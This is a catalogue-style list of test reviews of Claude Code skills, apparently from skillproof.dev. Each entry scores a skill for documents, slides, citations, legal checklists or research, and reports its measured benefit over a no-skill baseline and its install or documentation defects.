- **Resume Skill** [pass, 9.2/10] — Turns raw career info into a print-ready, ATS-safe one-page HTML resume Repo: https://github.com/yanliudesign/resume-builder-skill. Card: https://skillproof.dev/skills/resume-skill. What we found: The 13 bundled templates are genuine production-grade HTML: classic-ats.html ships a real letter-size @page layout, single-column serif type and machine-parseable section headings, so the rendered resume clearly beats a no-skill baseline that returns generic markdown. The skill enforces a no-fabrication rule, marking any unverified number as to-confirm rather than inventing metrics, and routes cleanly between beautify, LinkedIn-import and interview flows. Install ran verbatim from a bare HOME and every referenced prompt, schema and template file was present.
- **Mindmap (Markmap) Viewer** [pass, 9.2/10] — Turn Markdown outlines into a self-contained offline interactive mind map (HTML) Repo: https://github.com/Jaderson-bit/mindmap-markmap-viewer. Card: https://skillproof.dev/skills/mindmap-markmap-viewer. What we found: Ran the bundled render_markmap.py on a sample outline: it emitted a 661 KB single HTML file with all six script blocks inlined and zero external <script src> tags, so it opens offline, and the search helper correctly filtered to a matched node plus its context. That is a clear win over a hand-written static or CDN-dependent map.
- **PPTX — PowerPoint Decks** [pass, 8.8/10] — Generate real PowerPoint decks with charts and speaker notes. Repo: https://github.com/anthropics/skills. Card: https://skillproof.dev/skills/pptx. What we found: Built a 12-slide QBR deck with charts from a CSV brief, including speaker notes. Chart data was accurate; one table needed a re-run to fix column widths.
- **Magazine Web PPT** [pass, 8.8/10] — Turns a talk outline into a single-file, editorial-magazine-style horizontal-swipe HTML deck. Repo: https://github.com/nexu-io/open-design. Card: https://skillproof.dev/skills/magazine-web-ppt. What we found: Built the same deck two ways: the guided version used real type hierarchy and correct light/dark alternation, the plain one was dark sans-serif with emoji. The template claims 3 example slides but ships with none.
- **Backend To Frontend Handoff Docs** [pass, 8.8/10] — Turns a finished backend endpoint into a template-driven API handoff doc for frontend devs Repo: https://github.com/softaworks/agent-toolkit. Card: https://skillproof.dev/skills/backend-to-frontend-handoff-docs. What we found: Fed it a small orders API and compared: baseline produced a casual Slack-style paragraph, the skill output was a full template with a TypeScript DTO, an enum table, 5 numbered test scenarios, and two genuinely useful open questions (status-update mechanism, discount exposure) the baseline never surfaced.
- **README Discipline** [pass, 8.8/10] — Code-grounded READMEs: every claim traced to file:line, every command verified to run. Repo: https://github.com/Skillproofdev/readme-discipline. Card: https://skillproof.dev/skills/readme-discipline. What we found: Our own skill — tested under the same protocol, disclosed. Bench measured 3 frozen OSS repos, baseline vs skill agent: skill hit 18/18 section completeness vs 14/18, was preferred 3/3 with trust 4.67 vs 3.67, and had fewer fabricated claims (1 vs 2, a narrow margin since both baselines borrowed accurate content from existing docs). Caveats disclosed in the verdict: single expert rater (not the ≥3-developer panel the protocol calls for), N=3, and the skill logged its own fabrication (an HTTP 400/500 mix-up) rather than hiding it. Protocol test caught real issues in our own repos (dead benchmark links, strict-YAML frontmatter) — fixed and re-verified same day.
- **Agent Wiki Summarize** [setup, 8.8/10] — Turns saved Claude Code trajectory JSON into scored episodic wiki summaries automatically. Repo: https://github.com/AgentToolkit/altk-evolve. Card: https://skillproof.dev/skills/agent-wiki-summarize. What we found: Fed it a fake trajectory where the agent read a refund-idempotency guideline and applied it; it correctly pulled the 12-hex guideline id out of the filename and classified it 'followed' with a verbatim evidence quote, something a plain summary never surfaces. The catch: the helper script it pipes to (build_agent_wiki.py) lives in a sibling scripts/ folder outside the skill's own directory, so a plain cp of the skill folder silently breaks it.
- **Architecture Decision Record** [pass, 8.8/10] — Nygard-format ADR templates plus an auto-filled /create-adr slash command. Repo: https://github.com/yonatangross/orchestkit. Card: https://skillproof.dev/skills/architecture-decision-record. What we found: Ships a working /create-adr slash command that shells out to `date`, `git config user.name`, and a `ls docs/adr/*.md` scan to auto-fill the date, author, and next ADR number — not just a static markdown template.
- **Cap Table** [setup, 8.8/10] — Deterministic SAFE/priced-round dilution math with rule-pack citations, not LLM arithmetic. Repo: https://github.com/lool-ventures/founder-skills. Card: https://skillproof.dev/skills/cap-table. What we found: Ran all 9 producer scripts for real on a small cap table (1 founder, 1M option pool, one $500K SAFE at a $5M post-money cap) through a Series A scenario: cap-implied SAFE ownership came out to exactly 10.0% (matches hand math), and the priced-round solver correctly netted the YC post-money-cap denominator gotcha that naive LLM arithmetic reliably gets wrong, landing founders at 65.2% post-round with full rule-pack provenance and one counsel-review flag (QSBS date sensitivity). The catch: SKILL.md calls ${CLAUDE_PLUGIN_ROOT}/scripts/founder_context.py at Step 1, which lives outside the cap-table folder — a plain `cp -r skills/cap-table` install breaks on the very first step.
- **Interactive Architecture Diagrams** [pass, 8.8/10] — Builds a click-through, animated single-file HTML architecture diagram plus a companion .md. Repo: https://github.com/konraddzbik/architecture-diagram-skill. Card: https://skillproof.dev/skills/architecture-diagram. What we found: Built a real 3-node OAuth2 login diagram from the shipped template and served it locally: step navigation, the payload side panel, and the dev/prod mode toggle all worked live in-browser with zero console errors — genuinely more capable than anything I'd produce unguided. Docs cost it points: the README's own 'Claude Code — manual clone' command clones the repo root straight into the skills folder, which buries SKILL.md two directories too deep and would silently break the install if followed literally.
- **Handwriting to LaTeX** [pass, 8.8/10] — Converts photographed or scanned handwritten math notes into an Overleaf-ready .tex file. Repo: https://github.com/yangcodingmaster/Claude-Code-Skill-handwriting-to-latex. Card: https://skillproof.dev/skills/handwriting-to-latex. What we found: Fed it a small two-problem note (algebra + integral): baseline gave a bare, numbered-equation snippet, the skill produced a full Overleaf-ready document with align* steps, section headers per problem, and the numbered-equation ban applied correctly -- but it also instructs saving to /mnt/user-data/outputs/, a claude.ai-specific path that doesn't exist in a plain Claude Code environment.
- **Image PPT King** [setup, 8.8/10] — Rebuilds already-split slide layers into an editable PPTX — the flat-image-splitting step isn't included Repo: https://github.com/TateZhouSiu/image-ppt-king. Card: https://skillproof.dev/skills/image-ppt-king. What we found: Ran the bundled builder for real on the demo slide: a naive python-pptx baseline produced 2 shapes (one flattened background image + one crammed textbox), while the skill's own scripts/build_ppt_from_layers.mjs produced 11 shapes (5 positioned, selectable image layers + 6 individually anchored, transparent editable text boxes) from the same source — a genuinely valid, zip-checked PPTX. But the SKILL.md's actual first step for real-world input, 'invoke image-split' to turn a flat image into those layers, is referenced a dozen+ times across SKILL.md and README and never shipped, linked, or named as an installable package anywhere in the repo.
- **Deckify** [setup, 8.8/10] — Builds a real self-contained HTML talk deck + PDF guide, validated 0-errors by its own checker. Repo: https://github.com/zakelfassi/htmlify. Card: https://skillproof.dev/skills/deckify. What we found: Built a real 3-slide deck following the skill's DOM contract and ran the actual bundled validator against it -- 'valid, 0 errors, 0 warnings, profile: deck' -- but the exact validator command the skill body tells you to run is broken as written (npm bin/package name mismatch); the npx fallback works once you add the missing -p flag.
- **MRSF Document Review** [setup, 8.8/10] — Turns Markdown feedback into anchored, resolvable review comments (a real YAML sidecar) instead of a flat comment list. Repo: https://github.com/wictorwilen/MRSF. Card: https://skillproof.dev/skills/mrsf-review. What we found: Ran the real @mrsf/cli (same engine the MCP tools wrap) against a throwaway doc: produced a genuine validated YAML sidecar with UUIDs, severity/type tags, and fuzzy-reanchor metadata, versus a baseline flat-text review list - concretely more useful for multi-round or CI-driven review, but nothing works until the separate @mrsf/mcp server is installed and registered as an MCP server first.
- **LaTeX Paper Writer** [setup, 8.8/10] — Scaffolds venue-templated LaTeX papers, generates result tables, and builds/git-checkpoints the PDF. Repo: https://github.com/jimezsa/opencolab. Card: https://skillproof.dev/skills/latex-paper-writer. What we found: Ran the real scripts end-to-end (workspace init, CSV-to-LaTeX table, build, git checkpoint) - all worked correctly and the build step honestly reported 'No LaTeX compiler found' with exit 127 instead of faking a PDF. But every command in SKILL.md is hardcoded to 'projects/SKILLS/latex-paper-writer/scripts/...', so a literal standalone install (cp -r the skill folder into ~/.claude/skills/) breaks immediately - reproduced live: 'No such file or directory'.
- **Slidedown** [setup, 8.8/10] — Markdown-to-PPTX converter with 16 real themes and smart title/quote/table layout detection. Repo: https://github.com/Viniciuscarvalho/slidedown. Card: https://skillproof.dev/skills/slidedown. What we found: The core converter genuinely works: ran it on a real test deck and it produced a valid .pptx with an actual PowerPoint table object and speaker notes routed to the hidden notes field, versus a naive baseline that dumped raw markdown-table pipes and leaked the HTML speaker-note comment straight onto the visible slide. But SKILL.md's own QA step calls a script, scripts/office/soffice.py, that does not exist anywhere in the repo, so following the workflow literally breaks at Step 4.
- **Markdown Exporter** [pass, 8.8/10] — One CLI turns Markdown into DOCX, PPTX, XLSX, PDF, IPYNB, CSV, JSON, XML, LaTeX Repo: https://github.com/bowenliang123/markdown-exporter. Card: https://skillproof.dev/skills/markdown-exporter. What we found: Task: convert report.md (30 lines: headings, bold/italic, 3x3 table, list, quote, python- and bash-blocks) into maximum formats and programmatically check files. Baseline without skill: wrote 36 lines using python-docx/openpyxl — files were generated, but when checked via python-docx, baseline.docx had bold_runs=0 and italic_runs=0 (formatting lost), Excel sheet was unnamed 'Sheet', and PDF/PPTX/IPYNB were not handled at all. With skill, all 10 commands worked: skill.docx preserved bold_runs=1 and italic_runs=1, xlsx sheet was automatically named 'Q3 Infrastructure Report' by title, skill.pdf starts with %PDF- magic (3176 bytes), skill.pptx contains 2 real slides, skill.ipynb — 3 cells [markdown, code, code], md_to_codeblock correctly separated blocks by language into cbdir_1.py and cbdir_2.sh, and --compress yielded a zip with code_1.py/code_2.sh. Tables in docx matched for both (4x3), but the skill's format coverage and style preservation are strictly better. Important: SKILL.md itself is only CLI documentation; without `pip install md-exporter`, the binary is missing and the skill is useless, so the pip step is included in the install command.
- **UAP Release Analyzer** [pass, 8.8/10] — Turns a folder of declassified FOIA PDFs into an 11-section analytic report Repo: https://github.com/ckpxgfnksd-max/uap-release-analyzer. Card: https://skillproof.dev/skills/uap-release-analyzer. What we found: Built a 14-file FOIA-style tranche with real agency prefixes, redaction stamps and two image-only PDFs, then analyzed it twice. My own 30-line pdfplumber pass got the basics right — 14 files, 26 pages, the 2 scanned files with no text layer — but produced one undifferentiated frequency list where 'roswell', 'centcom' and 'disc' all sat in the same bucket, and no written report. The pipeline classified all 14 files to the correct agency including flagging the unknown prefix to OTHER, split entities into locations/agencies/phenomena/year clusters, and emitted inventory.csv, five analytics files and an 11-section REPORT.md in 0.35s, with a caveats section that admits its own extraction is regex and not NER. The canned prose in section 2 is its weak spot: it described the NASA panel report as 'mission transcripts, crew debriefings' because that narrative is hardcoded, not read from the text.
- **XS arXiv** [setup, 8.8/10] — Live arXiv trend digest and paper analysis via RSS, Semantic Scholar and LaTeX source Repo: https://github.com/karaage0703/ai-assistant-workspace. Card: https://skillproof.dev/skills/xs-arxiv. What we found: Task: «arXivチェックして» — fresh articles on cs.AI/cs.CL for the week plus an analysis of one. The baseline run without the skill (WebFetch for arxiv.org/list/cs.AI/recent) returned 35 titles with IDs, but no abstracts, no dates, no PDF links — nothing to score by interest. With the skill, the trending mode worked live: JSON with 5 articles from 2026-07-16, 9 fields per article, the first abstract — 908 characters, categories_failed empty, source rss. The analysis mode was also real: latex --sections extracted the table of contents of a real LaTeX source (Introduction, Related Work, Trait Inventory, Methodology…) from 2607.13162, --abstract-only gave text. Important caveat: the default search via Semantic Scholar failed live with HTTP 429 and retries_exhausted — exactly as described in SKILL.md; the documented fallback B→C (--source legacy) worked and returned 3 real articles. It required installed uv (README honestly indicated uv sync), and the promised «Notion蓄積対応» pulled a separate skill xs-notion-manager, which was not installed by this command.
- **PPT Report Generator** [pass, 8.8/10] — Data into a 16:9 web deck: one file per slide, CSV-driven, 5 themes, PDF export Repo: https://github.com/myunwang/ppt-report-skills. Card: https://skillproof.dev/skills/ppt-report-generator. What we found: Built the same two-slide weekly-signup deck twice from one CSV and screenshotted both in Chromium at 1600x900. The hand-rolled baseline rendered a bare chart on 60% empty canvas with the numbers typed straight into the JS — and one of those hardcoded numbers was wrong, a "+29.8% W4 vs W3" that is really the W4-vs-W1 delta; the skill path computed +34.7% off the CSV. Its bundled `check_deck.py` ran live on both decks and caught a real defect in each, including the baseline's KPIs having no source attribution. Changing one number in the CSV and rerunning `build.py` propagated it into the deck with zero edits to render code, and the built deck ships a working five-theme switcher; the rough edge is that chart-helper legends default to Chinese labels (主指标/副指标), which leaks into an English deck.
- **Check Citations** [pass, 8.8/10] — Live 3-database check that caught a fabricated and a chimeric citation Repo: https://github.com/PHY041/claude-skill-citation-checker. Card: https://skillproof.dev/skills/check-citations. What we found: Ran the bundled checker live on a 5-entry .bib seeded with one fabricated paper and one chimeric citation (real GPT-3 title, fake authors): the fabricated entry came back 0/3 databases with file and line number, and the chimeric one was flagged 'title matches but authors don't'. The core guarantee held — no fake was ever marked verified — while a memory-only baseline could not prove the plausible fake wrong at all. It did flag the real BERT paper as not found (the exact DOI-less false positive its own docs admit), and --json mode is broken as shipped: progress lines contaminate stdout, so the documented pre-commit hook crashes on json.load. Expect roughly 80 seconds per 5 citations due to rate-limit sleeps.
- **Offsec Debrief** [pass, 8.8/10] — Post-CTF debrief: structured writeup with a failure-analysis track and MEMORY.md lessons Repo: https://github.com/d0gesec/pownie. Card: https://skillproof.dev/skills/offsec-debrief. What we found: Prompt-only CTF debrief generator: on a mock HackTheBox Linux scenario (SNMP leak to creds to sudo misconfig) it turned a flat what-I-did log into a structured post-mortem with a Failure Track — trigger signal, missed stop signal, a rabbit-hole taxonomy, and a one-line rule per dead end — plus a generalized MEMORY.md update, clearly richer than the no-skill baseline for extracting reusable lessons. Self-contained SKILL.md with no bundled scripts, installs with a plain directory copy from a bare HOME. Documentation matches behavior with no overselling.
- **Document Review** [setup, 8.4/10] — FINRA 2210 compliance checklist for prospectuses, ADVs, and financial marketing docs Repo: https://github.com/open-gitagent/opengap. Card: https://skillproof.dev/skills/document-review. What we found: Its two named tools only exist inside the parent framework's example folder, not as real Claude Code tools, so a standalone install needs that config line stripped or edited before it works.
- **CiteCheck** [setup, 8.4/10] — Verifies paper citations exist and are relevant via Crossref/Semantic Scholar plus agent reasoning Repo: https://github.com/color4-alt/CiteCheck. Card: https://skillproof.dev/skills/citecheck. What we found: Ran the real CLI on a synthetic paper with a fabricated 2099-dated reference and it correctly flagged the suspicious year while the fake title returned no real match on a live Crossref query — but the SKILL.md's own Dependencies section says `pip install CiteCheck`, which actually installs an unrelated static-analysis package on PyPI; the real one is `pip install citecheck-cli` (confirmed via the repo's pyproject.toml and both PyPI JSON records).
- **SOP Build** [setup, 8.4/10] — COO-style interview that turns a messy process into a delegate-ready SOP with automation flags. Repo: https://github.com/charlesdove977/procedure-ops. Card: https://skillproof.dev/skills/sop-build. What we found: Fed it a real client-onboarding process for a small agency: its sop-anatomy framework caught the vague step 'set up ad accounts and brand assets' and forced it into named, checkable sub-actions with an inline automation callout, versus the baseline SOP which just repeated the vague instruction as a single bullet.
- **Documenting Meetings** [setup, 8.4/10] — Turns meeting recordings, notes, and photos into a structured Word summary with action items. Repo: https://github.com/umairalipathan1980/Claude-Skill-for-Multimodal-Report-Generation. Card: https://skillproof.dev/skills/documenting-meetings. What we found: Ran a short pasted meeting transcript through the output template and it correctly marked a missing due date and priority as 'TBD' instead of inventing them - but the transcription half of the pipeline needs a bespoke gaik-transcriber MCP server whose source (transcription-MCP/server.py) lives in a sibling repo folder, not inside the documenting-meetings/ directory a plain cp -r would grab.
- **HTML Slides** [setup, 8.4/10] — Single-file animated HTML decks with viewport-locked slides and keyboard/touch nav. Repo: https://github.com/proyecto26/slides-ai-plugin. Card: https://skillproof.dev/skills/html-slides. What we found: Built the same 4-slide 'Q3 Product Roadmap' deck twice, once ignoring the skill and once following it strictly: the skill version replaced the baseline's scrollable body and purple-gradient-plus-Inter look (an anti-pattern the skill explicitly calls out by name) with locked 100dvh sections, clamp() type, keyboard/touch navigation, a progress bar, and prefers-reduced-motion support that the baseline had none of. The gap: the 'curated style presets' promised in the description live in a sibling skill folder that a standalone install of html-slides never pulls in.
- **PPT Translator** [setup, 8.4/10] — Translates .pptx decks via any LLM provider while trying to preserve fonts, color, tables (alignment is buggy). Repo: https://github.com/tristan-mcinnis/PPT-Translator-Formatting-Intact-with-LLMs. Card: https://skillproof.dev/skills/ppt-translator. What we found: Real run on a generated CJK test deck confirmed the skill preserves bold/color/font-scaling that a naive shape.text=translated baseline destroys entirely -- but also uncovered a live bug: explicit paragraph alignment (e.g. centered titles) is silently dropped on every translated slide because of an f-string/dict-key mismatch in pipeline.py, contradicting the README's alignment-preservation claim.
- **README Doctor** [setup, 8.4/10] — 9-point README rubric with P0/P1/P2 punch list, evidence-cited and category/audience-aware. Repo: https://github.com/livlign/claude-skills. Card: https://skillproof.dev/skills/readme-doctor. What we found: Section 1.1 ('operating mode') and the PR-opening step in Phase 4 both say 'same as repo-visuals' without defining the modes inline -- repo-visuals lives in a separate plugin (plugins/repo-visuals) not bundled with readme-doctor, so a verbatim install is missing that piece; the core 9-point audit rubric itself is fully self-contained and produced a sharp, evidence-cited, prioritized punch list on a test README.
- **SPSS Academic Workflow** [setup, 8.4/10] — Scaffolds an 8-stage reproducible SPSS research project and drives it via a separate paid SPSS-MCP server. Repo: https://github.com/EXIST-D/spss-academic-workflow. Card: https://skillproof.dev/skills/spss-academic-workflow. What we found: Actually ran the bundled scaffold script on a throwaway CSV and it built the exact 8-stage project tree, research-design skeleton, and a ctexart LaTeX template the docs describe, byte for byte — but the skill's actual analysis engine is gated behind a paid, Windows-only IBM SPSS Statistics install plus a separate uninstalled MCP server (Exekiel179/SPSS-MCP), so the core 'run the statistics' promise couldn't be exercised here.
- **Vietnam PDPL Compliance Advisor** [pass, 8.4/10] — Gap analysis, breach and cross-border workflows for Vietnam's PDPL (Law 91/2025 + Decree 356) Repo: https://github.com/Sushegaad/Claude-Skills-Governance-Risk-and-Compliance. Card: https://skillproof.dev/skills/vn-pdpl. What we found: Asked for a cross-border compliance brief for a Singapore fintech handling Vietnamese banking and biometric login data: the skill's reference files supplied exact Decree 356 timelines (2/10/20/15 working-day request deadlines, the finance-sector 72-hour dual breach notice) and the 13-item sensitive-data list that the no-skill baseline could only approximate for a law effective January 2026. The specific article numbers were not cross-checked against the official gazette, and the skill correctly disclaims it is not legal advice.
- **Study Notes** [pass, 8.4/10] — Restructures lecture decks (Feishu/PPT/PDF) into a fixed three-block class-note format Repo: https://github.com/GT0698/my-claude-skills. Card: https://skillproof.dev/skills/study-notes. What we found: Fed the same scattered lecture slides to both: the baseline returned a chronological bullet summary, while the skill regrouped by topic, rewrote definitions as question-answer subheads, and applied its numbering and table-vs-hierarchy rules to produce a note built for later review. Its stated default output is a Feishu doc via lark-cli, which needs that binary plus a login and could not be verified here, but the skill's documented Markdown-draft path delivers the same restructured content with no external tooling.
- **Adversarial Analysis** [setup, 8/10] — Three-agent Swiss legal debate (advocate/adversary/judge) with calibrated risk probabilities -- but full-mode citation verification needs plugin-level MCP servers a bare skill copy won't have. Repo: https://github.com/fedec65/bettercallclaude. Card: https://skillproof.dev/skills/adversarial-analysis. What we found: The repo's own README says 'MCP servers connect automatically, no setup, no API keys required' -- true only when installed through the official Cowork Desktop marketplace; a plain GitHub-clone-and-copy of the skill folder (this protocol's install method) leaves out the plugin-level .mcp.json entirely, so the skill's own citation-verification bar (>95% verified BGE citations) is unreachable and it silently drops to the 'Reduced Mode' the SKILL.md itself defines and discloses.
- **NotebookLM Learner Pack** [setup, 8/10] — Generates a branded 29-prompt HTML library for NotebookLM, but its own worked-example instructions point at the author's private sandbox path Repo: https://github.com/DrMultivac/notebooklm-learner-pack. Card: https://skillproof.dev/skills/notebooklm-learner-pack. What we found: Ran a real mini-pack build (value-based-care contracts, Techy Surgeon voice) grounded in a 3-sentence source note: the skill version produced source-specific prompt scaffolds naming ACOs, benchmark price, MLR and stop-loss with 6 distinct lens rewrites per card, versus a baseline that generated a generic unbranded list with no lens or asset taxonomy. Real defect: SKILL.md's 'canonical worked example' and save-target both hardcode the author's own sandbox path (/sessions/eloquent-happy-archimedes/mnt/RevelAi Health/...), confirmed via ls to not exist on this machine — the repo's bundled examples/cjrx-techy-surgeon-learner-pack.html works as a substitute, but a user following the doc literally hits a dead path.
- **Stock Research Publish** [setup, 8/10] — Turns stock-research-pipeline analysis into a polished PDF/HTML equity report with optional Netlify deploy. Repo: https://github.com/samyakjain0606/awesome-stock-skills. Card: https://skillproof.dev/skills/stock-research-publish. What we found: Ran a real A/B: the skill's forbidden-pattern list (Inter font, indigo/purple gradients, emoji section headers) was fully absent from the skill-guided HTML while the naive baseline hit every one of them, and the variant-perception table grew from 3 generic rows to 5 factors with evidence/edge-size/falsification columns as the spec demands — but the PDF generator script and the 'visual-explainer' design references it points to ship in neither this repo nor this skill folder.
- **Codex PPT** [setup, 8/10] — Builds image-based 16:9 PPTX decks where each slide is a generated full-page image Repo: https://github.com/ningzimu/codex-ppt-skill. Card: https://skillproof.dev/skills/codex-ppt. What we found: The assembly pipeline is real and works: with python-pptx and Pillow installed, assemble_ppt.py packed three 1920x1080 images into a valid 16:9 three-slide PPTX. The headline value, though, is AI-generated unified slide imagery, which needs an image backend (built-in image tool or a paid OpenAI-compatible key) that was unavailable here, so no delta versus a no-skill baseline could be measured. Well-engineered orchestration with approval gates, subagent dispatch and QA, and its API key only ever goes to the user-configured OpenAI or atlascloud endpoint.
- **OfficeCLI** [pass, 7.6/10] — CLI-driven create/inspect/edit for .docx/.xlsx/.pptx, no Office install needed Repo: https://github.com/heshengtao/super-agent-party. Card: https://skillproof.dev/skills/officecli. What we found: Followed the SKILL.md Quick Start docx example verbatim: officecli creates the file and only prints a warning, but never actually defines 'Heading1' in styles.xml, so the resulting heading renders as plain unstyled text in Word -- a bug a plain python-docx baseline does not have. The view issues / validate commands, however, caught a real missing-indent formatting problem the baseline had no way to detect.
- **Overleaf (Git Bridge)** [setup, 7.6/10] — Clones and pushes Overleaf projects via the git bridge, but never discloses that the bridge needs a paid Overleaf plan. Repo: https://github.com/junhahyung/claude-skill-overleaf. Card: https://skillproof.dev/skills/overleaf. What we found: The skill's own claim that the git bridge 'works on any machine for any user' doesn't hold up: Overleaf's own docs confirm git integration is a premium feature unavailable on the free plan (Standard ~$21/mo or higher), a real paywall the skill walks users through full token setup without ever mentioning.
- **Legal Impressum (Austria)** [setup, 7.6/10] — Drafts Austrian website Impressum/Offenlegung text with company-form-specific templates and legal citations Repo: https://github.com/ThomasMoreAI/legal-skills-open. Card: https://skillproof.dev/skills/legal-impressum. What we found: Solid, well-organized Austrian Impressum templates (11 company forms with correct ECG/UGB/GewO field citations) beat a generic baseline draft on completeness, but the SKILL.md points to three sibling jurisdiction files (SKILL-GERMANY.md, SKILL-EU.md, SKILL-WORLD.md) and a references/full-guide.md that don't exist anywhere in the repo.
- **Scope Check** [pass, 7.6/10] — Estimates whether a spec will blow the context budget and proposes chunk boundaries before you write it. Repo: https://github.com/dvdarkin/claude-skills. Card: https://skillproof.dev/skills/scope-check. What we found: Ran its own formulas on a real 3.5KB API design spec (872 prose tokens -> ~40.6K conservative estimate, comfortably GREEN either way) — the math is transparent and reproducible, but MULTIPLIERS.md ships a second, contradictory context-budget threshold table (100K/130K/160K vs. the canonical 50K/75K/100K in CONTEXT-BUDGET.md and SKILL.md) that undercuts its 'grounded, not guesses' claim.
- **Paper Glance** [pass, 7.6/10] — Turns an academic paper into analysis, mindmap, reviewer report or podcast Repo: https://github.com/Diaugeia/paper-glance-skill. Card: https://skillproof.dev/skills/paper-glance. What we found: Fed the real arXiv abstract of "Attention Is All You Need" to both a no-skill run and the skill's review module and diffed the two reviews against the source. The unaided review cited zero of the paper's numbers and quietly imported three things the abstract never says — quadratic attention cost, positional encoding, existing head-count ablations — which is exactly the failure that matters on a paper you don't already know. The skill's run cited six figures from the text (28.4 BLEU, 41.8 BLEU, +2 BLEU, 3.5 days, 8 GPUs) and its null-discipline rule made it label the missing ablations "not stated in the supplied text" instead of inventing them. The catch is the packaging: the README's Claude Code install step, `claude install-skill /path`, is not a real subcommand (the CLI just posts it to the API as a prompt), and SKILL.md points at six `/mnt/skills/user/paper-glance/...` paths that don't exist outside Claude Desktop, so Claude has to work out its own module paths.
- **PDF to Word (ComPDFKit)** [setup, 7.6/10] — Wraps the commercial ComPDFKit SDK to convert PDF/image to Word, Excel, PPT and 7 more Repo: https://github.com/ComPDFKit/compdf-skills. Card: https://skillproof.dev/skills/pdf-to-word-docx. What we found: Installed the SDK (pip install ComPDFKitConversion 4.1.0) and ran it live: it auto-downloaded a trial license and converted a table PDF to a real .docx that kept the 1 table and every cell. But the free baseline pdf2docx preserved the exact same table and text on the same file, so the headline 'better table/layout preservation' claim showed no measurable delta; the OCR/AI-layout edge is real but gated behind a 525MB model download and stays unmeasured.
- **Feishu Docx Exporter** [setup, 7.6/10] — CLI to export, create, and manage Feishu/Lark cloud docs as Markdown Repo: https://github.com/leemysw/feishu-docx. Card: https://skillproof.dev/skills/feishu-docx. What we found: The pip package installs cleanly and every documented command is real (verified via feishu-docx --help), but the core export needs a Feishu app-id/app-secret and the one credential-free path, export-wechat, hit a captcha wall on the test URL, so no output delta could be measured. It is a genuine working CLI, but you must supply Feishu credentials before it does anything.
- **Accord** [setup, 7.2/10] — Cross-team L0-L3 spec packages with BDD acceptance criteria and requirement traceability. Repo: https://github.com/simota/agent-skills. Card: https://skillproof.dev/skills/accord. What we found: Drafting a password-reset spec produced genuinely more disciplined output than baseline -- declarative Given/When/Then instead of UI-step scenarios, REQ-to-AC traceability IDs, audience-split L2 sections -- but a plain `cp -r accord/` install silently breaks eight of its own '_common/*.md' reference links since that folder actually lives at the repo root, and the body cites suspiciously precise, unlinked stats ('CMU SEI' 50-80% defect reduction, 'Wiley SLR 2026' 58.2%/81.2%) that read as fabricated authority.
- **Archcore Capture** [setup, 7.2/10] — Auto-classifies a documentation request into ADR/spec/doc/guide and writes it via the Archcore MCP server, with dedup and cross-linking. Repo: https://github.com/archcore-ai/plugin. Card: https://skillproof.dev/skills/capture. What we found: This is a well-designed routing table (its explicit 'not capture -> use /archcore:decide or /archcore:plan' carve-outs are unusually crisp for this category), but the skill is inert on its own: every actual document write goes through mcp__archcore__create_document, a custom MCP server that ships as a separate third-party CLI you install via curl|bash from archcore.ai -- a dependency the capture SKILL.md file itself never mentions, only the repo's root README does.
- **Adversarial Case Builder** [setup, 7.2/10] — Evidence-bound rejection memo for research papers via cross-model review Repo: https://github.com/wanshuiyin/Anti-Autoresearch. Card: https://skillproof.dev/skills/adversarial-case-builder. What we found: The real engine is two fresh cross-model Codex (gpt-5.6-sol) reviewer threads plus an evidence ledger, neither of which was available here, so the skill-versus-baseline delta is unmeasured. Its deterministic anti-slop gate does work: run on a synthetic claims.json it correctly flagged and dropped a dangling [C999] citation and a phantom objection while keeping the verbatim-span-anchored point, landing at disposition partial_case. A single-folder install leaves the skill's references and the adjudicator tool behind, so it only truly runs from inside the cloned repo.
- **Domain Design** [setup, 7.2/10] — Editorial DDD diagrams as standalone HTML — but only 2 of 6 promised types ship Repo: https://github.com/tddworks/claude-skills. Card: https://skillproof.dev/skills/domain-design. What we found: Built the same Subscription-aggregate diagram with and without the skill and compared browser renders: the skill version is clearly better — a warm-paper editorial system with a single coral focal on the root, mono role tags, semantic fills for entity/VO/command/event, disciplined bands and a proper legend, against a generic blue-box baseline. But the skill oversells: SKILL.md advertises six diagram types and instructs you to always load the type reference before drawing, yet four of the six reference files (context-map, event-storm, context-canvas, domain-model) plus every assets/ example it cites are missing from the repo. Aggregate and Ubiquitous-Language types work as documented; the other four leave you improvising.
- **arXiv** [setup, 6/10] — Searches, downloads, and summarizes academic papers from arXiv. Repo: https://github.com/wanshuiyin/Auto-claude-code-research-in-sleep. Card: https://skillproof.dev/skills/arxiv. What we found: Verbatim single-skill install (cp -r skills/arxiv only) leaves SKILL.md's relative links to shared-references/*.md dangling, but the skill self-heals: its Step 2 bash resolution chain falls back to an inline urllib+ElementTree call against export.arxiv.org's Atom API, verified live against arXiv 1706.03762. A/B on that same paper produced near-identical, fully accurate summaries (correct title, all 8 authors, 2017-06-12 date, cs.CL/cs.LG categories, verbatim abstract) with the base arm slightly richer on contribution detail; because the task itself prescribed the output structure, the skill added no structural lift over a no-skill agent here. Description also overlaps sibling skills (alphaxiv on bare IDs, research-lit on generic 'find papers'), blurring the trigger boundary.
- **Audit Flow** [setup, 6/10] — Traces system flows across code, API, auth, data, and network layers with Mermaid export. Repo: https://github.com/zebbern/claude-code-guide. Card: https://skillproof.dev/skills/audit-flow. What we found: Verbatim git-clone install worked with zero fixes and the stdlib-only Python CLI ran the full DB-first workflow (init, SQL inserts, validate, Mermaid/markdown export) on a toy login handler with no external dependencies. In the A/B, the skill produced a valid 12-node branching flow trace backed by SQLite persistence and a validate step, but the resulting audit was essentially the same quality as the base arm's ad-hoc analysis (same layers, same branch points, comparable findings), so the methodology overhead did not yield a materially better trace on a small task. Docs gap: SKILL.md's Files list and Git Workflow section reference a .gitattributes merge-driver file as 'already in repo', but that file does not exist in the cloned repo, and the Quick Reference lists /audit-flow slash-commands that are not real CLI subcommands.
- **Abmahnung Reagieren (AGB-Recht)** [setup, 5.6/10] — German UWG/AGB cease-and-desist response checklist with statute anchors Repo: https://github.com/Klotzkette/claude-fuer-deutsches-recht. Card: https://skillproof.dev/skills/abmahnung-reagieren. What we found: The SKILL.md is a competent German UWG checklist - it anchors specific statutes (13 and 13a UWG on cost and Vertragsstrafe caps, 8c UWG on abusive mass-warnings, BGH Planet49) and a five-step Pruefraster - but its closing section points to references/QUELLEN.md, PRUEFLOGIK.md and KLAUSELFAMILIEN.md, and none of the three files ship in the skill folder. It is also one of hundreds of near-identical auto-generated Abmahnung folders in the same mono-repo, so the promised source-anchoring and document matrix are not actually deliverable.
